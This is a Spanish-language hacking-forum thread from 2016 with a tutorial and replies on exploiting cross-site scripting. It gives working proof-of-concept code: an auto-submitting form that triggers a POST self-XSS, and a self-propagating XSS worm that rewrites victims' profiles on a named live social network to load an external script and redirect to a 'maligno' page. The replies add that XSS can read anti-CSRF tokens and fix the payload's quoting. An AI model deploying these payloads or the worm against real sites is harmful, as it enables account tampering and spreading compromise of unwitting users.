Underc0de - Hacking y seguridad informática

[In]Seguridad Informática => Seguridad web y en servidores => Mensaje iniciado por: rollth en Septiembre 25, 2016, 02:18:00 pm

Título: Avanzando con las XSS's
Publicado por: rollth en Septiembre 25, 2016, 02:18:00 pm
Muy buenas Underc0ders, en el día de hoy me gustaría explicar Y hacer unas POC's, de algunas formas "nuevas" de poder explotar una XSS. Si no entendéis de lo que estoy hablando podríais empezar leyéndoos este taller. (https://underc0de.org/foro/talleres-underc0de-213/taller-de-seguridad-web-1/)

Lo primero que quiero explicar es como se podría explotar una self XSS, este tipo de XSS se supone que es aquella que solo puedes ejecutarla tú desde tu máquina (y por lo tanto se considera un ejercicio de pura ingeniería social), funcionaría por el metodo POST y no quedaría en ninguna base de datos para que pudieran verlo el resto de usuarios, como puede ser un Mensaje Privado en una web. Un ejemplo es un buscador, pero que en lugar de funcionar enviando los parámetros por la url, se envían por método POST. Os dejo aquí el código que yo voy a usar para que podáis subirlo a un hosting y podáis hacer también la prueba.

Código: PHP
  1. <form action="buscar.php" method="POST">
  2. <input type="text" name="busqueda" />
  3. <input type="hidden" name="enviado" value="true" />
  4. <button type="submit">Enviar</button>
  5. </form>
  6.  
  7. <?php
  8.  
  9. $busqueda = $_POST["busqueda"];
  10. $enviado = $_POST["enviado"];
  11.  
  12. if($enviado == "true"){
  13.     echo "<p>No se encuentra la palabra " . $busqueda . ".</p>";
  14. }
  15.  
  16. ?>     

Lo que nosotros vamos a hacer es copiar el form y subirlo a nuestro servidor de una manera que se envíe solo, y le mandaremos el link, ya como prefiráis para ejecutarle el código malicioso. La página en mi servidor ha quedado así.

Código: PHP
  1. <form id="myForm" action="url/buscar.php" method="POST">
  2. <input type="hidden" name="busqueda" value="<script>alert(0)</script>" />
  3. <input type="hidden" name="enviado" value="true" />
  4. <img src=x onerror="myFunction()">
  5. </form>
  6.  
  7. <script>
  8. function myFunction() {
  9.     document.getElementById("myForm").submit();
  10. }
  11. </script>

Y una vez el usuario pulsa el link de mi página maliciosa se ejecuta el self XSS.

(https://i.gyazo.com/d5def3591dabead465303501d405afdb.png)

La otra cosa que quería explicar es como podemos propagar un XSS, vamos a suponer que tenemos una red social (yo hice las pruebas aquí (http://www.facepets.es/)) en la cual encontramos una XSS, por ejemplo en el nombre en el perfil que es lo que ha sucedido esta vez. Entonces podríamos hacer que cuando alguien se metiese en nuestro perfil se le cambiase el nombre y se le pusiera el mismo payload y así, a su vez podría él infectar a una tercera persona. Pues en esto consistiría el proceso. ¿Y como lo hacemos?

Pues en realidad es sencillo, en este caso, hay muchas XSS's, y yo me voy a aprovechar de la que consiste en el tipo de raza de el animal. Al igual que antes vamos a hacer un HTML con un form, y ahora este form va a cambiar nuestro perfil.

Código: PHP
  1. <form id="myForm" action="http://www.facepets.es/usuario.php?dat=datos&mod=ok&mod=off&in=ok" method="POST">
  2. <input name="raza" type="hidden" value="<script type='text/javascript' src='url/archivo1.js'></script><p onclick='salir()'>ROLO</p>">
  3. <img src=x onerror="myFunction()">
  4. </form>
  5.  
  6. <script>
  7. function myFunction() {
  8.     document.getElementById("myForm").submit();
  9. }
  10. </script>

Si os fijáis esto lo que hace es modificar la raza de cualquiera que entre en este link, y en la raza  pone el script archivo1.js
Cuando alguien entra en el perfil de una persona con ese archivo le llevará al form y esto hará que se modifique el perfil. Así cualquier persona que entre en un perfil de alguien infectado quedará el también infectado. Por último os dejo el archivo1.js para que podáis probarlo.

Código: Javascript
  1. function salir()
  2. {
  3. window.location="url/Prueba 2/maligno.html";
  4. }
  5.  


Es posible que en estos dos casos haya una variable llamada csrf que es independiente para cada usuario y sirve para impedir este tipo de ataques y no se puedan hacer peticiones "Ilegítimas".

Espero que os haya gustado y sido de utilidad.

También me pueden seguir en Twitter si les hace ilusión: @RoloMijan (https://twitter.com/RoloMijan)

Saludos.

Título: Re:Avanzando con las XSS's
Publicado por: seth en Septiembre 26, 2016, 12:59:15 pm
Si hay xss podes leer el token anti csrf y mandar el form igual
Título: Re:Avanzando con las XSS's
Publicado por: rollth en Septiembre 26, 2016, 04:58:36 pm
Si hay xss podes leer el token anti csrf y mandar el form igual

Depende del caso, pero se haría muy tedioso explicarlo también, por eso quise dejarlo ahí.
Título: Re:Avanzando con las XSS's
Publicado por: rand0m en Octubre 01, 2016, 10:44:21 pm
Tengo una duda con el fragmento de PHP:
Código: PHP
  1. <input type="hidden" name="raza" value="<script type="text/javascript src="url/archivo1.js""></script><p onclick="salir()">ROLO</p>" />
¿No tendrían que escaparse las comillas del script para que no nos cierre el valor de value?
Código: PHP
  1. <input type="hidden" name="raza" value="<script type=\"text/javascript src=\"url/archivo1.js\""></script><p onclick="salir()">ROLO</p>" />
Título: Re:Avanzando con las XSS's
Publicado por: rollth en Octubre 09, 2016, 07:02:26 pm
Tengo una duda con el fragmento de PHP:
Código: PHP
  1. <input type="hidden" name="raza" value="<script type="text/javascript src="url/archivo1.js""></script><p onclick="salir()">ROLO</p>" />
¿No tendrían que escaparse las comillas del script para que no nos cierre el valor de value?
Código: PHP
  1. <input type="hidden" name="raza" value="<script type=\"text/javascript src=\"url/archivo1.js\""></script><p onclick="salir()">ROLO</p>" />

Tienes razón, estaba mal :(
Ya lo he modificado, muchas gracias por avisar.
Título: Re:Avanzando con las XSS's
Publicado por: rand0m en Octubre 10, 2016, 06:43:22 am
Tienes razón, estaba mal

Vale, vale. Es que pensé que era un código que habías utilizado durante una demo y me sorprendía que funcionase. Si lo fuiste escribiendo sobre la marcha me parece normal que hubiera una errata.

¡Buen post! De este post se podría dar un salto a BeEF (http://beefproject.com/).
Título: Re:Avanzando con las XSS's
Publicado por: rollth en Octubre 10, 2016, 09:35:06 am
Tienes razón, estaba mal

Vale, vale. Es que pensé que era un código que habías utilizado durante una demo y me sorprendía que funcionase. Si lo fuiste escribiendo sobre la marcha me parece normal que hubiera una errata.

¡Buen post! De este post se podría dar un salto a BeEF (http://beefproject.com/).

La cuestión es que si lo probé y no funcionaba, entonces lo modifiqué en mi host para que funcionase y se me olvidó ponerlo bien en el post xD

Gracias por tu opinión :D